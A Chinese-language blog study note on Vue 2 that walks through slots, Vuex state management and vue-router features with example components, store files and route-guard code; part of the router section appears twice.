		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

App.vue

<template>
  <div class="container">
    <Category title="美食">
    //放入center插槽中
      <img
        slot="center"
        src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg"
        alt=""
      />
      //放入footer插槽中
      <a slot="footer" href="http://www.atguigu.com">更多美食</a>
    </Category>

    <Category title="游戏">
      <ul slot="center">
        <li v-for="(g, index) in games" :key="index">{{ g }}</li>
      </ul>
      <div class="foot" slot="footer">
        <a href="http://www.atguigu.com">单机游戏</a>
        <a href="http://www.atguigu.com">网络游戏</a>
      </div>
    </Category>

    <Category title="电影">
      <video
        slot="center"
        controls
        src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"
      ></video>
      <template v-slot:footer>
        <!-- 两种写法,但 v-slot:footer只能用在template标签中-->
        <div class="foot">
          <a href="http://www.atguigu.com">经典</a>
          <a href="http://www.atguigu.com">热门</a>
          <a href="http://www.atguigu.com">推荐</a>
        </div>
        <h4>欢迎前来观影</h4>
      </template>
    </Category>
  </div>
</template>

<script>
import Category from "./components/Category";
export default {
  name: "App",
  components: { Category },
  data() {
    return {
      foods: ["火锅", "烧烤", "小龙虾", "牛排"],
      games: ["红色警戒", "穿越火线", "劲舞团", "超级玛丽"],
      films: ["《教父》", "《拆弹专家》", "《你好,李焕英》", "《与神同行》"],
    };
  },
};
</script>
<style scoped>
.container,
.foot {
  display: flex;
  justify-content: space-around;
}
h4 {
  text-align: center;
}
</style>

4.作用域插槽

App.vue

<template>
  <div class="container">
    <Category title="游戏">
      <!-- 必须包裹template标签,scope属性标签必带,收到数据,但" "内名字随意起 -->
      <template scope="atguigu">
        <ul>
          <li v-for="(g, index) in atguigu.games" :key="index">{{ g }}</li>
        </ul>
      </template>
    </Category>

    <Category title="游戏">
      <template scope="{ games }">
        <!-- 解构赋值 -->
        <ol>
          <li style="color: red" v-for="(g, index) in games" :key="index">
            {{ g }}
          </li>
        </ol>
      </template>
    </Category>

    <Category title="游戏">
      <template slot-scope="atguigu">
        <!--slot-scope是新的API,作用与scope一样 -->
        <h4 v-for="(g, index) in atguigu.games" :key="index">{{ g }}</h4>
      </template>
    </Category>
  </div>
</template>

<script>
import Category from "./components/Category";
export default {
  name: "App",
  components: { Category },
};
</script>

<style scoped>
.container,
.foot {
  display: flex;
  justify-content: space-around;
}
h4 {
  text-align: center;
}
</style>

Category

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<slot :games="games" msg="hello">我是默认的一些内容</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title'],
		data() {
			return {
				games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
			}
		},
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

五、vuex

1、概念

在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。

2、适用场景

1.多个组件依赖于同一状态(数据)
2.来自不同组件的行为需要变更同一状态(数据)
3.即多个组件需要共享数据时

全局事件总线实现多组件共享(对数据x读/写):
在A组件中有一个数据x,B,C,D组件都想要得到他,需要绑定全局事件总线,在B,C,D中使用事件总线接收数据,在A中使用事件总线发送数据。这时如果B,C,D想要更改数据x,在需要在A中使用事件总线接收数据,在B,C,D中使用事件总线提供数据。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f4pECbQZ-1645084242302)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213035251093.png)]

vuex实现多组件共享(对数据x读/写):
vuex不属于最后一个组件,将很多组件都要使用的数据存储在vuex中,通过API的调用实现读写 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-31NIA0Fm-1645084242303)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213035337657.png)]

案例:求和案例纯Vue

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O0fIVUu9-1645084242304)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213040224231.png)]

<template>
	<div>
		<h1>当前求和为:{{sum}}</h1>
		<select v-model.number="n">  //收集到的数据强制转换成number类型
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment">+</button>
		<button @click="decrement">-</button>
		<button @click="incrementOdd">当前求和为奇数再加</button>
		<button @click="incrementWait">等一等再加</button>
	</div>
</template>

<script>
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
				sum:0 //当前的和
			}
		},
		methods: {
			increment(){
				this.sum += this.n
			},
			decrement(){
				this.sum -= this.n
			},
			incrementOdd(){
				if(this.sum % 2){
					this.sum += this.n
				}
			},
			incrementWait(){
				setTimeout(()=>{
					this.sum += this.n
				},500)
			},
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

3、vuex工作原理图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7ut3qfI4-1645084242305)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220213162942848.png)]

如图示,Vuex为Vue Components建立起了一个完整的生态圈,包括开发中的API调用一环。围绕这个生态圈,简要介绍一下各模块在核心流程中的主要功能:

  • Vue Components:Vue组件。HTML页面上,负责接收用户操作等交互行为,执行dispatch方法触发对应action进行回应。
  • dispatch:操作行为触发方法,是唯一能执行action的方法。
  • actions(动作,行为):操作行为处理模块。负责处理Vue Components接收到的所有交互行为。包含同步/异步操作,支持多个同名方法,按照注册的顺序依次触发。向后台API请求的操作就在这个模块中进行,包括触发其他action以及提交mutation的操作。该模块提供了Promise的封装,以支持action的链式触发,是一个对象。
  • commit:状态改变提交操作方法。对mutation进行提交,是唯一能执行mutation的方法。
  • mutations(加工,维护):状态改变操作方法。是Vuex修改state的唯一推荐方法,其他修改方式在严格模式下将会报错。该方法只能进行同步操作,且方法名只能全局唯一。操作之中会有一些hook暴露出来,以进行state的监控等,是一个对象。·
  • state(状态,数据):页面状态管理容器对象。集中存储Vue components中data对象的零散数据,全局唯一,以进行统一的状态管理。页面显示所需的数据从该对象中进行读取,利用Vue的细粒度数据响应机制来进行高效的状态更新,是一个对象。
  • getters:state对象读取方法。图中没有单独列出该模块,应该被包含在了render中,Vue Components通过该方法读取全局state对象。

Vue组件接收交互行为,调用dispatch方法触发action相关处理,若页面状态需要改变,则调用commit方法提交mutation修改state,通过getters获取到state新值,重新渲染Vue Components,界面随之更新。

4、搭建vuex环境

 安装:npm i vuex
  1. 创建文件:src/store/index.js

    index.js

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions对象——响应组件中用户的动作
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state
})
复制代码
  1. main.js中创建vm时传入store配置项

    ......
    //引入store
    import store from './store/index'
    ......
    
    //创建vm
    new Vue({
    	el:'#app',
    	render: h => h(App),
    	store
    })
    

5、基本使用

Vue各方法求和案例他人

  1. 初始化数据、配置actions、配置mutations,操作文件store.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    
    const actions = {
        //响应组件中加的动作
    	jia(context,value){
    		// console.log('actions中的jia被调用了',miniStore,value)
    		context.commit('JIA',value)
    	},
    }
    
    const mutations = {
        //执行加
    	JIA(state,value){
    		// console.log('mutations中的JIA被调用了',state,value)
    		state.sum += value
    	}
    }
    
    //初始化数据
    const state = {
       sum:0
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state,
    })
    
  2. 组件中读取vuex中的数据:$store.state.sum

  3. 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

    备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写```commit`

6、getters的使用

Vue各方法求和案例他人

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。

  2. store.js中追加getters配置

    ......
    
    const getters = {
    	bigSum(state){
    		return state.sum * 10
    	}
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	......
    	getters
    })
    
  3. 组件中读取数据:$store.getters.bigSum

7、四个map方法的使用

[ Vue各方法求和案例他人(https://juejin.cn/post/6997794056470282276)

用之前需要引入
import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'

  1. **mapState方法:**用于帮助我们映射state中的数据为计算属性

    computed: {
        //借助mapState生成计算属性:sum、school、subject(对象写法)
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
             
        //借助mapState生成计算属性:sum、school、subject(数组写法)
        ...mapState(['sum','school','subject']),
    },
    
  2. **mapGetters方法:**用于帮助我们映射getters中的数据为计算属性

    computed: {
        //借助mapGetters生成计算属性:bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
    
        //借助mapGetters生成计算属性:bigSum(数组写法)
        ...mapGetters(['bigSum'])
    },
    
  3. **mapActions方法:**用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数

    methods:{
         //使用这个方法需要在点击函数中传参----看案例
        //靠mapActions生成:incrementOdd、incrementWait(对象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
        //靠mapActions生成:incrementOdd、incrementWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
    
  4. **mapMutations方法:**用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数

    methods:{
         //使用这个方法需要在点击函数中传参----看案例
        //靠mapActions生成:increment、decrement(对象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        
        //靠mapMutations生成:JIA、JIAN(对象形式)
        ...mapMutations(['JIA','JIAN']),
    }
    

备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

8、模块化+命名空间

Vue各方法求和案例他人

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改store.js

    const countAbout = {
      namespaced:true,//开启命名空间,必需
      state:{x:1},
      mutations: { ... },
      actions: { ... },
      getters: {
        bigSum(state){
           return state.sum * 10
        }
      }
    }
    
    const personAbout = {
      namespaced:true,//开启命名空间,必需
      state:{ ... },
      mutations: { ... },
      actions: { ... }
    }
    
    export default new Vuex.Store({
     modules: {
     	countAbout: countOptions,
     	personAbout: personOption
     }
    })
    
  3. 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum','school','subject']),
    
  4. 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
    
  5. 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
  6. 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
    

6、vue-router

1、相关理解

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-omTbuYZP-1645084242306)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220214161829148.png)]

1.vue-router的理解:

vue的一个插件库,专门用来实现SPA应用

2.对SPA应用的理解

1.单页Web应用(singlepagewebapplication,SPA)。
2.整个应用只有一个完整的页面。
3.点击页面中的导航链接不会刷新页面,只会做页面的局部更新。
4.数据需要通过ajax请求获取。

3.路由的理解

1.什么是路由?
  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
  2. 前端路由:key是路径,value可能是function或component(组件)。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dyPhCBC9-1645084242306)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220214161936110.png)]
2.路由分类
1.后端路由:

1)理解:value是function,用于处理客户端提交的请求。
2)工作过程:服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据。

2.前端路由:

1)理解:value是component,用于展示页面内容。
2)工作过程:当浏览器的路径改变时,对应的组件就会显示。

2、基本使用

Vue路由随手案例 Vue路由案例仓库

  1. 安装vue-router,命令:npm i vue-router
  2. 应用插件:Vue.use(VueRouter)
  3. 编写router配置项:

index.js

//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'

//创建router实例对象,去管理一组一组的路由规则
const router = new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home
		}
	]
})

//暴露router
export default router
复制代码
  1. 实现切换(active-class:路由激活,可配置高亮样式,放在多个路由跳转之中,谁被选中active就出现在哪个链接的css样式中)

    <router-link active-class="active" to="/about">About</router-link>
    //转换成a标签
    
  2. 指定展示位置

    <router-view></router-view>
    

3、几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。
  4. 整个应用只有一个router,可以通过组件的$router属性获取到。

4、多级路由(嵌套路由)

Vue路由随手案例 Vue路由案例仓库

  1. 配置路由规则,使用children配置项:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children配置子级路由
    			{
    				path:'news', //此处一定不要写:/news
    				component:News
    			},
    			{
    				path:'message',//此处一定不要写:/message
    				component:Message
    			}
    		]
    	}
    ]
    复制代码
    
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>
    

5、路由的query参数

Vue路由随手案例他人

  1. 传递参数

    <!-- 跳转并携带query参数,to的字符串写法 -->
         //注意to前面要用v-bind绑定将其转化为js解析,然后加``将其变为模板字符串,然后里面可以${}
     <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link>
    				
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link 
    	:to="{
    		path:'/home/message/detail',
    		query:{
    		 id:m.id,
     	title:m.title
    		}
    	}"
    >跳转</router-link>
    
  2. 接收参数:

    $route.query.id
    $route.query.title
    

6、命名路由

  1. 作用:可以简化路由的跳转。

  2. 如何使用

    1. 给路由命名:

      {
      	path:'/demo',
      	component:Demo,
      	children:[
      		{
      			path:'test',
      			component:Test,
      			children:[
      				{
                                       name:'xiangqing',//给路由命名
      					path:'welcome',
      					component:Hello,
      				}
      			]
      		}
      	]
      }
      
    2. 简化跳转:

      <!--简化前,需要写完整的路径 -->
      <router-link to="/demo/test/welcome">跳转</router-link>
      
      <!--简化后,直接通过名字跳转 -->
      <router-link :to="{name:xiangqing'}">跳转</router-link>
      
      <!--简化前,需要写完整的路径 -->
      <router-link
          :to="{
            path: '/home/message/detail',
            query: {
              id: m.id,
              title: m.title,
            },
          }"
        >
          {{ m.title }}
        </router-link>
      
      <!--简化写法配合传递参数 -->
      <router-link 
          :to="{
                name:'xiangqing',
                query:{
                        id:m.id,
                        title:m.title
                }
        }">
                {{m.title}}
        </router-link>
      

7、路由的params参数

Vue路由随手案例他人

1. 配置路由,声明接收params参数

{
	path:'/home',
	component:Home,
	children:[
		{
			path:'news',
			component:News
		},
		{
			component:Message,
			children:[
				{
					name:'xiangqing',
					path:'detail/:id/:title', //使用占位符声明接收params参数
					component:Detail
				}
			]
		}
	]
}

2. 传递参数

<!-- 跳转并携带params参数,to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>
				
<!-- 跳转并携带params参数,to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing',
		params:{
		   id:666,
                title:'你好'
		}
	}"
>跳转</router-link>

特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

3. 接收参数:

$route.params.id
$route.params.title

8、路由的props配置

Vue路由随手案例他人

作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props($route) {
		return {
			id: $route.query.id,
			title: $route.query.title,
		}
	}
}

9、<router-link>的replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
  3. 如何开启replace模式:<router-link replace .......>News</router-link>
  <router-link
            replace class="list-group-item" active-class="active" to="/about">About</router-link>

10、编程式路由导航

Vue路由随手案例

  1. 作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退
    

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7v3p8u8U-1645084242307)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220215010018823.png)]

11、缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁。
  2. 具体编码:
/*缓存由当前<router-view></router-view>展示的所有组件,即哪个组件需要被缓存,则找其父组件中的
<router-view></router-view>加上<keep-alive></keep-alive>*/
<keep-alive>
     <router-view></router-view>
</keep-alive>
复制代码
/*
include放的是组件名,表明缓存当前组件,当其不展示时也不会被销毁。如果不加include则缓存
<router-view></router-view>中展示的所有组件
*/
<!-- 缓存一个路由组件 -->
<keep-alive include="News"> 
    <router-view></router-view>
</keep-alive>
<!-- 缓存多个路由组件 -->
 <keep-alive :include="['News','Message']"> 
        <router-view></router-view>
 </keep-alive>

12、两个新的生命周期钩子

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
  2. 具体名字:
    1. activated路由组件被激活时触发。
    2. deactivated路由组件失活时触发。

在News组件中

<template>
	<ul>
		<li :style="{opacity}">欢迎学习Vue</li>
		<li>news001 <input type="text"></li>
		<li>news002 <input type="text"></li>
		<li>news003 <input type="text"></li>
	</ul>
</template>

<script>
	export default {
		name:'News',
		data() {
			return {
				opacity:1
			}
		},
		/* beforeDestroy() {
			console.log('News组件即将被销毁了')
			clearInterval(this.timer)
		}, */
		/* mounted(){
			this.timer = setInterval(() => {
				console.log('@')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		}, */
		activated() {
			console.log('News组件被激活了')
			this.timer = setInterval(() => {
				console.log('@')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		},
		deactivated() {
			console.log('News组件失活了')
			clearInterval(this.timer)
		},
	}
</script>

13、路由守卫

  1. 作用:对路由进行权限控制
  2. 分类:全局守卫、独享守卫、组件内守卫
  3. 全局守卫:

index.js

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router = new VueRouter({
 routes: [
 	{
 		name: 'guanyu',
 		path: '/about',
 		component: About,
 		meta: { title: '关于' }
 	},
 	{
 		name: 'zhuye',
 		path: '/home',
 		component: Home,
 		meta: { title: '主页' },
 		children: [
 			{
 				name: 'xinwen',
 				path: 'news',
 				component: News,
 				meta: { isAuth: true, title: '新闻' }
 			},
 			{
 				name: 'xiaoxi',
 				path: 'message',
 				component: Message,
 				meta: { isAuth: true, title: '消息' },
 				children: [
 					{
 						name: 'xiangqing',
 						path: 'detail',
 						component: Detail,
 						meta: { isAuth: true, title: '详情' },
 						//props的第三种写法,值为函数
 						props($route) {
 							return {
 								id: $route.query.id,
 								title: $route.query.title,
 							}
 						}

 					}
 				]
 			}
 		]
 	}
 ]
})

//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
	console.log('beforeEach',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
			next() //放行
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next() //放行
	}
})

//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
	console.log('afterEach',to,from)
	if(to.meta.title){ 
		document.title = to.meta.title //修改网页的title
	}else{
		document.title = 'vue_test'
	}
})
  1. 独享守卫:

index.js

 {
         name:'xinwen',
         path:'news',
         component:News,
         meta:{isAuth:true,title:'新闻'},
         //当前路由所独享的,可以和全局后置路由守卫配合使用
         beforeEnter: (to, from, next) => {
                 console.log('独享路由守卫',to,from)
                 if(to.meta.isAuth){ //判断是否需要鉴权
                         if(localStorage.getItem('school')==='atguigu'){
                                 next()
                         }else{
                                 alert('学校名不对,无权限查看!')
                         }
                 }else{
                         next()
                 }
         }
 },
  1. 组件内守卫:

index.js

    {
                name:'guanyu',
                path:'/about',
                component:About,
                meta:{isAuth:true,title:'关于'}
        },

在需要配置路由守卫的组件内配置,不是在index.js中

 //通过路由规则,进入该组件时被调用
 	beforeRouteEnter (to, from, next) {
 		console.log('About--beforeRouteEnter',to,from)
 		if(to.meta.isAuth){ //判断是否需要鉴权
 			if(localStorage.getItem('school')==='atguigu'){
 				next()
 			}else{
 				alert('学校名不对,无权限查看!')
 			}
 		}else{
 			next()
 		}
 	},

 	//通过路由规则,离开该组件时被调用
 	beforeRouteLeave (to, from, next) {
 		console.log('About--beforeRouteLeave',to,from)
 		next()
 	}

2. 传递参数

<!-- 跳转并携带params参数,to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>
				
<!-- 跳转并携带params参数,to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing',
		params:{
		   id:666,
                title:'你好'
		}
	}"
>跳转</router-link>

特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

3. 接收参数:

$route.params.id
$route.params.title

8、路由的props配置

Vue路由随手案例他人

作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props($route) {
		return {
			id: $route.query.id,
			title: $route.query.title,
		}
	}
}

9、<router-link>的replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
  3. 如何开启replace模式:<router-link replace .......>News</router-link>
  <router-link
            replace class="list-group-item" active-class="active" to="/about">About</router-link>

10、编程式路由导航

Vue路由随手案例

  1. 作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退
    

[外链图片转存中…(img-7v3p8u8U-1645084242307)]

11、缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁。
  2. 具体编码:
/*缓存由当前<router-view></router-view>展示的所有组件,即哪个组件需要被缓存,则找其父组件中的
<router-view></router-view>加上<keep-alive></keep-alive>*/
<keep-alive>
     <router-view></router-view>
</keep-alive>
复制代码
/*
include放的是组件名,表明缓存当前组件,当其不展示时也不会被销毁。如果不加include则缓存
<router-view></router-view>中展示的所有组件
*/
<!-- 缓存一个路由组件 -->
<keep-alive include="News"> 
    <router-view></router-view>
</keep-alive>
<!-- 缓存多个路由组件 -->
 <keep-alive :include="['News','Message']"> 
        <router-view></router-view>
 </keep-alive>

12、两个新的生命周期钩子

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
  2. 具体名字:
    1. activated路由组件被激活时触发。
    2. deactivated路由组件失活时触发。

在News组件中

<template>
	<ul>
		<li :style="{opacity}">欢迎学习Vue</li>
		<li>news001 <input type="text"></li>
		<li>news002 <input type="text"></li>
		<li>news003 <input type="text"></li>
	</ul>
</template>

<script>
	export default {
		name:'News',
		data() {
			return {
				opacity:1
			}
		},
		/* beforeDestroy() {
			console.log('News组件即将被销毁了')
			clearInterval(this.timer)
		}, */
		/* mounted(){
			this.timer = setInterval(() => {
				console.log('@')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		}, */
		activated() {
			console.log('News组件被激活了')
			this.timer = setInterval(() => {
				console.log('@')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		},
		deactivated() {
			console.log('News组件失活了')
			clearInterval(this.timer)
		},
	}
</script>

13、路由守卫

  1. 作用:对路由进行权限控制
  2. 分类:全局守卫、独享守卫、组件内守卫
  3. 全局守卫:

index.js

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router = new VueRouter({
 routes: [
 	{
 		name: 'guanyu',
 		path: '/about',
 		component: About,
 		meta: { title: '关于' }
 	},
 	{
 		name: 'zhuye',
 		path: '/home',
 		component: Home,
 		meta: { title: '主页' },
 		children: [
 			{
 				name: 'xinwen',
 				path: 'news',
 				component: News,
 				meta: { isAuth: true, title: '新闻' }
 			},
 			{
 				name: 'xiaoxi',
 				path: 'message',
 				component: Message,
 				meta: { isAuth: true, title: '消息' },
 				children: [
 					{
 						name: 'xiangqing',
 						path: 'detail',
 						component: Detail,
 						meta: { isAuth: true, title: '详情' },
 						//props的第三种写法,值为函数
 						props($route) {
 							return {
 								id: $route.query.id,
 								title: $route.query.title,
 							}
 						}

 					}
 				]
 			}
 		]
 	}
 ]
})

//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
	console.log('beforeEach',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
			next() //放行
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next() //放行
	}
})

//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
	console.log('afterEach',to,from)
	if(to.meta.title){ 
		document.title = to.meta.title //修改网页的title
	}else{
		document.title = 'vue_test'
	}
})
  1. 独享守卫:

index.js

 {
         name:'xinwen',
         path:'news',
         component:News,
         meta:{isAuth:true,title:'新闻'},
         //当前路由所独享的,可以和全局后置路由守卫配合使用
         beforeEnter: (to, from, next) => {
                 console.log('独享路由守卫',to,from)
                 if(to.meta.isAuth){ //判断是否需要鉴权
                         if(localStorage.getItem('school')==='atguigu'){
                                 next()
                         }else{
                                 alert('学校名不对,无权限查看!')
                         }
                 }else{
                         next()
                 }
         }
 },
  1. 组件内守卫:

index.js

    {
                name:'guanyu',
                path:'/about',
                component:About,
                meta:{isAuth:true,title:'关于'}
        },

在需要配置路由守卫的组件内配置,不是在index.js中

 //通过路由规则,进入该组件时被调用
 	beforeRouteEnter (to, from, next) {
 		console.log('About--beforeRouteEnter',to,from)
 		if(to.meta.isAuth){ //判断是否需要鉴权
 			if(localStorage.getItem('school')==='atguigu'){
 				next()
 			}else{
 				alert('学校名不对,无权限查看!')
 			}
 		}else{
 			next()
 		}
 	},

 	//通过路由规则,离开该组件时被调用
 	beforeRouteLeave (to, from, next) {
 		console.log('About--beforeRouteLeave',to,from)
 		next()
 	}
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值